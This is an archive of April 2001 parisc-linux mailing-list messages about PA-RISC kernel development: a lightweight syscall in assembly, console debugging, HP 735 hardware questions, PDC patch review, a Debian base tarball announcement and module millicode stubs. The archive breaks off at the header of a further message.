Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lightweight syscalls
Date: Wed, 4 Apr 2001 19:57:32 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010404195732.F11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620002 17584 80.91.229.3 (22 Nov 2014 01:33:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 12:57:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF680482A
	for <parisc-linux@parisc-linux.org>; Wed,  4 Apr 2001 12:57:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14ksTE-0001Dp-00
	for parisc-linux@parisc-linux.org; Wed, 04 Apr 2001 19:57:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10683

I've just written a `lightweight syscall' which will be used to set cr27
to a per-thread value.  Comments, criticism, etc all welcome.

set_thread_pointer:
        gate    .+8, %r0                /* increase privilege */
        depi    3, 31, 2, %r31          /* Ensure we return into user mode. */
        be      0(%sr3,%r31)            /* return to user space */
        mtctl   %r26, %cr27             /* move arg0 to the control register */

note that the intended model is to place this at a fixed location on the
gateway page, and it will be called with BLE.  I haven't tested this yet,
in the best traditions of linux :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Wed, 04 Apr 2001 22:31:00 +0200
Organization: private
Lines: 46
Approved: news@gmane.org
Message-ID: <3ACB8484.71DE5601@dot.at>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at> <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk> <3ACAC867.25327463@alcatel.at> <20010404180518.C11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620002 17587 80.91.229.3 (22 Nov 2014 01:33:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:22 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
	Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 14:31:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta04.chello.at (viemta04.chello.at [195.34.133.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39230482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 14:31:03 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta04.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010404203100.LNFL23009.viemta04@dot.at>;
          Wed, 4 Apr 2001 22:31:00 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10684

Matthew Wilcox wrote:
> 
> On Wed, Apr 04, 2001 at 09:08:23AM +0200, Christoph Plattner wrote:
> > > have you looked at all the followups to the esiee announcement noting
> > > the problems with it?  i suspect it's switching to STI console.
> >
> > Although I definitely write
> >
> >       console=ttyS0
> >
> > as kernel parameter ?
> 
> yes.  they symlinked /dev/console to tty0 instead of leaving it as a
> char device.  the kernel can't help you out here, you have to change
> that symlink :-(
> 
> --
> Revolutions do not require corporate support.

No, No !

This problem have I fixed in my tree !
I tried it with both, the correct one
	/dev/console = 5,1
and the hack !
	/dev/console -> /dev/ttyS0

Further I hacked in a test in the kernel. Before it starts `init' or
any other process, it tries to open the console (You know, the warning,
if this fail). After the open I write out a string using `write (1, )'
as check the return value. I see the string on the serial console !!
and return value is ok.

So the device `/dev/console' IS WORKING in my setup, but the rest is 
not !!!....

Cheers
	Christoph P.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Getting Started...
Date: Thu, 5 Apr 2001 08:11:51 +1000
Lines: 114
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D514459EE@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620002 17590 80.91.229.3 (22 Nov 2014 01:33:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:22 +0000 (UTC)
Cc: "Cooper, Steven (DEM, PH)" <Steven.Cooper@dem.csiro.au>
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 16:12:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bastion.qld.csiro.au (bastion.qld.csiro.au [140.253.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id D79BE482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 16:11:56 -0600 (MDT)
Original-Received: from bastion.qld.csiro.au (localhost [127.0.0.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id IAA17951
	for <parisc-linux@lists.parisc-linux.org>; Thu, 5 Apr 2001 08:11:54 +1000 (EST)
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id IAA17947
	for <parisc-linux@lists.parisc-linux.org>; Thu, 5 Apr 2001 08:11:53 +1000 (EST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2650.21)
	id <22HVRHV7>; Thu, 5 Apr 2001 08:11:52 +1000
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10685

> 
> I'm not using PA-RISC Linux, yet, but I hope to be soon.  I'm 
> been using
> ix86 linux for a few years, and HP-UX for 15 years.  I deal with 700
> series hardware everyday at work, mostly 715s, 725s, and 745s.
> 
> } I have recently "acquired" a couple of old 735/xxx's, and I 
> wish to run
> } Linux on these.
> } 
> } * These boxes seem to have no indication whether they are 
> 735/125 or 735/99
> } - how do I find out which they are?
> 
> If they aren't labeled as "735/125" or "735/99" they should be 100MHz.

Yes, I believe they are 735/99s. They're not the fastest machines around,
but as far as price/performance goes, you can't beat a slow free computer...

> 
> 
> } * I don't know how much memory they have, how do I find 
> this out? They have
> } maybe half of the memory expansion slots filled.
> 
> The boot screen should print the memory amount almost first 
> thing.  The
> 735s use different ram than all the other 700s, so I don't 
> know the part
> numbers.  If you tell me I might be able to check 
> (A2575-60001 is a 32MB
> card for the other 700s, look for that kind of a number).
> Do the RAM cards have ICs loaded on boths sides or only 1?  
> How many ICs
> on each side?

Yep, I've booted them up (serial port set to 9600-N-1, no handshaking as
suggested by someone else) - one has 112MB, the other has 272MB. They both
have HP-UX 10.10 installed, but I don't have any password for the machines.
I don't have network capability, either, yet (see below), but I'm hoping I
can install Linux on one of the drives as a disk image via other means (I
may be able to get access to a SCSI-enabled PC here at work).

Another possibility is to use the narrow-SCSI port on the Apollo to connect
a SCSI CD-ROM. Would it be possible to boot from here? This would certainly
be easier for me.

> 
> } * I have no HIL keyboard or mouse, is there a way to make a 
> HIL-to-PS/2
> } adapter so I can have a k/b and mouse at the console, or am 
> I better off
> } using a serial terminal?
> 
> Modular Industrial Computers Inc used to make a HIL to PS2 Converter
> box.  I don't think they do anymore because they can't get the ICs
> anymore (HP part number 1RD2-6001).   Nobody else makes them.  The HIL
> keyboards and mice are probably still available as "replacement parts"
> from HP.  TAMs (www.tamsinc.com) is another possible source, so is
> Monterey Bay Communication.

I looked at the MIC web site - they sell these PS/2-HIL adapters for $410!
That's a bit too much, especially when converted to Aussie dollars (around
$850). I actually don't think I'll need a local keyboard anyway, since the
735 boxes I have don't have graphics adapters. The serial port method works
well for me, since I have a couple of extra serial ports in my NT box.

> 
> 
> } * These machines have no graphics output, how can I tell if 
> they're alive?
> } Serial cable to a terminal (9600-N-1)?
> 
> Yuk, no wonder you don't know how much RAM you have.
> 
> 
> } * These machines have only the FDDI(?) optical network. I'm 
> not sure how to
> } connect these to my ethernet (if at all), or am I better 
> off adding an ISA
> } or EISA network card to the boxes?
> 
> All the ones I've seen had an AUI port.

These ones don't, unfortunately. Does anyone know if you can use the EISA
slot to add a network card? I'd really really really like to be able to do
this; maybe a driver would have to be written. I've never written a driver
before, but I'm a competant programmer (and engineer by profession) so I
don't think it would be too much out of my league to give it a go.

I have an ISA card with SMC 83C790 chipset, which apparently has an
open-source Linux-x86 driver. I'd be hoping to use this code as a starting
point (I'd be even more hoping that the "porting" would merely involve a
recompile, and the EISA bus driver would take care of the hardware
differences at that level...) Anyone with any experience here?

> 
> 
> } * Can I add an ISA or EISA network card to the boxes, and will it be
> } recognised? Drivers?
> 
> I'd like to know the answer to this.  I have 715s with an 
> EISA backplane
> and then I could have two ethernet connections.  Can I use 
> the 27245 (hp
> driver) or 27247, 27252 (hp-plus driver) cards?  Or maybe the J2405
> (lance driver) card?
> 

Cheers,
MvdW




From - Thu Nov 08 21:17:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Wed, 4 Apr 2001 16:04:22 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <0104041450480D.19560@eeyore.fc.hp.com>
References: <20010403180344.A6792@beavis.ybsoft.com> <0104041057250C.19560@eeyore.fc.hp.com> <20010404182016.D11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620003 17592 80.91.229.3 (22 Nov 2014 01:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:23 +0000 (UTC)
Cc: rbradetich@uswest.net, Ryan Bradetich <rbrad@beavis.ybsoft.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 17:05:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF755482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 17:05:17 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP
	id AA429943; Wed,  4 Apr 2001 19:05:16 -0400 (EDT)
Original-Received: from eeyore.fc.hp.com (eeyore.fc.hp.com [15.1.54.199])
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id RAA14734;
	Wed, 4 Apr 2001 17:05:12 -0600 (MDT)
X-Mailer: KMail [version 1.1.99]
In-Reply-To: <20010404182016.D11435@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10686

On Wednesday 04 April 2001 11:20, Matthew Wilcox wrote:
> On Wed, Apr 04, 2001 at 09:57:25AM -0700, Bjorn Helgaas wrote:
> > - What are the guidelines for #ifdef __LP64__ vs CONFIG_PA20?  You
> > replaced __LP64__ with CONFIG_PA20 in some places but not others and
> > I'm not clear on the difference.
>
> Not all PA-2.0 processors are run in 64-bit mode.  For example, a C3000
> can be run in either 32 or 64 bit mode.  At compile-time you can choose
> to optimise for a particular processor (and risk it not working on
> other machines).

Ok, so let me see if I have this right:

CONFIG_PA20 =>
	PA2.0 architecture, in either narrow or wide mode.
	Defined iff CONFIG_PA8X00 selected, not directly user-configurable.

CONFIG_PARISC64 =>
	Only possible when CONFIG_PA20 selected
	Build 64-bit kernel by using $(CROSS_COMPILE) = hppa64-linux.
	cpp predefines __LP64__.

So is there a reason for testing __LP64__ rather than CONFIG_PARISC64 in 
the code?  There are a zillion tests for the former and none for the 
latter, even though the latter seems more direct and obvious.

It seems to me that __LP64__ is overloaded for several things.  
Fundamentally, it is a property of the kernel, i.e., it is compiled to run 
in wide mode.  But we also use it to decide whether to use PDC PAT, which 
seems like a slightly different question.  If you run a narrow kernel on a 
C3000, the firmware still supports PDC PAT (although I suppose we would 
have to do some work to call it in wide mode).




From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New hppa base tarball
Date: Wed, 04 Apr 2001 17:20:14 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20010404232014.574B837E74@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620003 17596 80.91.229.3 (22 Nov 2014 01:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:23 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@parisc-linux.org, debian-hppa@list.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 17:18:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8BAE482A
	for <parisc-linux@parisc-linux.org>; Wed,  4 Apr 2001 17:18:22 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id D6BCE89A; Wed,  4 Apr 2001 19:18:21 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 574B837E74; Wed,  4 Apr 2001 17:20:14 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10687

Hi hppa-unknown-linux-gnu hackers,

I have built a new "base" Debian tarball for hppa and posted it at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/
basetars/base-20010404.tar.gz

It's ~30MB in size and only includes the base stuff(no compilers, etc), plus 
ssh and it's dependencies (libssl0.9.6, libcap1, zlib1g). The contents are 
listed at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/
basetars/baselist.20010404

The debs included are available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/base/

The logins/passwds are,

demo:demo
root:root

There are additional instructions on how to set it up in the tarball at 
/home/demo/README. Instructions on using it to install a system are available 
at,

http://parisc-linux.org/software/install.html

Now that Bdale has the autobuilder running you can grab debs from any mirror. 
If something isn't there yet you can wait for it to show up, build it 
yourself, or check,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/debs/

to see if someone else has built it by hand.

I will also try and do a base + reasonable build environment tarball soon.

Please pay attention to the web site and mailing list for errata and report 
any problems you have.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 64 bit kernel and module dp values again
Date: Thu, 5 Apr 2001 09:27:32 +1000 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104050920520.13605-100000@front.linuxcare.com.au>
References: <20010404234654.H9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620003 17600 80.91.229.3 (22 Nov 2014 01:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 17:27:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id C67F3482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 17:27:36 -0600 (MDT)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA22497;
	Thu, 5 Apr 2001 09:27:32 +1000
In-Reply-To: <20010404234654.H9198@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10688

On Wed, 4 Apr 2001, Richard Hirst wrote:

> On Wed, Apr 04, 2001 at 04:32:40PM +0100, Richard Hirst wrote:
> > Hi Alan,
> >   Code from drivers/block/loop.o, built as a 64 bit module, using
> > xc-20010307.tgz
> > 
> > The stub to call $$divU is called with the kernels dp value as that is
> > what dp is left with follwing the __muldi3 call.

Sorry Richard, I should have picked up on this when I saw you exporting
millicode from the kernel yesterday.  You basically can't do it, and for
the same reason you can't export millicode from shared libs.  As you've
found, dp gets trashed...

> Having pondered on this while walking the dog (in the dry!!),
> I think I need a new stub for calling millicode that doesn't
> use dp.
> 
> 	ldil L'sym,%r1
> 	ldo  R'sym(%r1),%r1
> 	bve (r1)
> 	nop
> 
> where sym is the address of the millicode fn in the kernel.
> 
> Sound reasonable to you?

Yes.  That's the sort of thing ld would have to do too if we want to
export millicode from shared libs.

Incidentally, this problem isn't limited to 64 bit.  32 bit modules will
have the same problem, with r19 being trashed when calling kernel
millicode.

Alan "modules are evil" Modra
-- 
Linuxcare





From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Thu, 5 Apr 2001 01:01:18 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20010405010118.O11435@parcelfarce.linux.theplanet.co.uk>
References: <20010403180344.A6792@beavis.ybsoft.com> <0104041057250C.19560@eeyore.fc.hp.com> <20010404182016.D11435@parcelfarce.linux.theplanet.co.uk> <0104041450480D.19560@eeyore.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620004 17606 80.91.229.3 (22 Nov 2014 01:33:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:24 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, rbradetich@uswest.net,
	Ryan Bradetich <rbrad@beavis.ybsoft.com>,
	parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn_helgaas@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 18:01:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01099482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 18:01:53 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14kxDC-0007tY-00; Thu, 05 Apr 2001 01:01:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <0104041450480D.19560@eeyore.fc.hp.com>; from bjorn_helgaas@hp.com on Wed, Apr 04, 2001 at 04:04:22PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10689

On Wed, Apr 04, 2001 at 04:04:22PM -0700, Bjorn Helgaas wrote:
> CONFIG_PA20 =>
> 	PA2.0 architecture, in either narrow or wide mode.
> 	Defined iff CONFIG_PA8X00 selected, not directly user-configurable.

Correct.  I test this rather than CONFIG_PA8X00 because it's conceivable
we might want to split PA8000/8200 support from 8500/8600.  Or something.

> CONFIG_PARISC64 =>
> 	Only possible when CONFIG_PA20 selected
> 	Build 64-bit kernel by using $(CROSS_COMPILE) = hppa64-linux.
> 	cpp predefines __LP64__.

Right.

> So is there a reason for testing __LP64__ rather than CONFIG_PARISC64 in 
> the code?  There are a zillion tests for the former and none for the 
> latter, even though the latter seems more direct and obvious.

Well.. it requires that you remember to include <linux/config.h>.

> It seems to me that __LP64__ is overloaded for several things.  
> Fundamentally, it is a property of the kernel, i.e., it is compiled to run 
> in wide mode.  But we also use it to decide whether to use PDC PAT, which 
> seems like a slightly different question.  If you run a narrow kernel on a 
> C3000, the firmware still supports PDC PAT (although I suppose we would 
> have to do some work to call it in wide mode).

Not quite true, C3k has 64-bit PDC, but it is not PAT.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbrad@beavis.ybsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Wed, 4 Apr 2001 20:14:54 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20010404201454.A943@beavis.ybsoft.com>
References: <20010403180344.A6792@beavis.ybsoft.com> <0104041057250C.19560@eeyore.fc.hp.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620004 17610 80.91.229.3 (22 Nov 2014 01:33:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn_helgaas@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  4 20:15:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id EE675482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Apr 2001 20:15:12 -0600 (MDT)
Original-Received: (qmail 42997 invoked by alias); 5 Apr 2001 02:14:55 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 42987 invoked by uid 0); 5 Apr 2001 02:14:54 -0000
Original-Received: from lametoby.ybsoft.com (HELO beavis.ybsoft.com) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 5 Apr 2001 02:14:54 -0000
Original-Received: from rbrad by beavis.ybsoft.com with local (Exim 3.20 #1 (Debian))
	id 14kzIU-0000Gm-00; Wed, 04 Apr 2001 20:14:54 -0600
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <0104041057250C.19560@eeyore.fc.hp.com>; from bjorn_helgaas@hp.com on Wed, Apr 04, 2001 at 09:57:25AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10690

On Wed, Apr 04, 2001 at 09:57:25AM -0700, Bjorn Helgaas wrote:
> Looks good to me.  A couple minor questions/comments, more for my 
> edification than anything else:
> 
> - pdc.h contains a commented-out struct pdc_iodc.  The comment suggests 
> possible issues with using it with 64-bit firmware, but I think the fear 
> is unfounded.  There are several places that use pdc_iodc_read(), but they 
> all seem to define their own equivalent of struct pdc_iodc.  I'm not sure 
> why they don't use struct pdc_iodc.  Also, include/asm-parisc/hardware.h 
> contains #defines for the IODC_TYPE field (HPHW_NPROC, etc); should these 
> be defined alongside struct pdc_iodc?

>From reading the on-line docs and looking at how it pdc_iodc_read was 
used, I decided to let the user allocate the buffer instead of using
the predefinded struct.  The on-line docs indicated to me that only
the first 16 bytes are standard, after that the call was HVERSION dependent.
Since I could not determine what to use in all cases, I left it upto 
the user.  If it makes more sense to use a predefined struct for
better typecasting, etc ... I would be agreeable, I just didn't want to
break anything. :)

> - What are the guidelines for #ifdef __LP64__ vs CONFIG_PA20?  You 
> replaced __LP64__ with CONFIG_PA20 in some places but not others and I'm 
> not clear on the difference.

The one instance I changed this was for the block TLB pdc calls. These
calls are not defined in the 2.0 arch so I changed the define to make
the more obvious.  [Note: it also helped solve some compiling issues.]

> - In firmware.c, the "yes 'int', not 'long' -- IODC I/O is always 32-bit 
> stuff" comment moved from pdc.h seems obsolete, or at least, I can't 
> figure out what the 'int' refers to.  I'd remove the "This means Cxxx 
> boxes can't run wide kernels right now." comment, since CONFIG_PDC_NARROW 
> addresses that issue.

This is true.... actually the Cxxx boxes won't run the 64-bit kernel now,
but it isn't a firmware issue, it is a driver issue.  I'm working on this
and hopefully will have it solved soon.  But, your point is well taken,
I should have removed the comment.  Nice catch :)

> I attached a diff that fixes a few typos.

Thanks and much appreciated!

- Ryan

> Bjorn




From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: buggz <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: New hppa base tarball
Date: Thu, 5 Apr 2001 10:45:06 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0104051041590.3801-100000@buggz1.buggz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620004 17617 80.91.229.3 (22 Nov 2014 01:33:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:24 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  5 08:39:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail0.atl.bellsouth.net (mail0.atl.bellsouth.net [207.203.120.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29F94482A
	for <parisc-linux@parisc-linux.org>; Thu,  5 Apr 2001 08:39:23 -0600 (MDT)
Original-Received: from adsl-76-170-104.asm.bellsouth.net (adsl-76-170-104.asm.bellsouth.net [216.76.170.104])
	by mail0.atl.bellsouth.net (3.3.5alt/0.75.2) with ESMTP id KAA00367
	for <parisc-linux@parisc-linux.org>; Thu, 5 Apr 2001 10:33:39 -0400 (EDT)
X-Sender: <buggz@buggz1.buggz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:10691

Otay, I d/l'd the baseplus tarball.
To install this, it says to read the instrutions that says to boot w/ a
cd.
I was hoping that these were iso files to make such a cd.
Am I on the wrong track ?


--
 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.





From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>
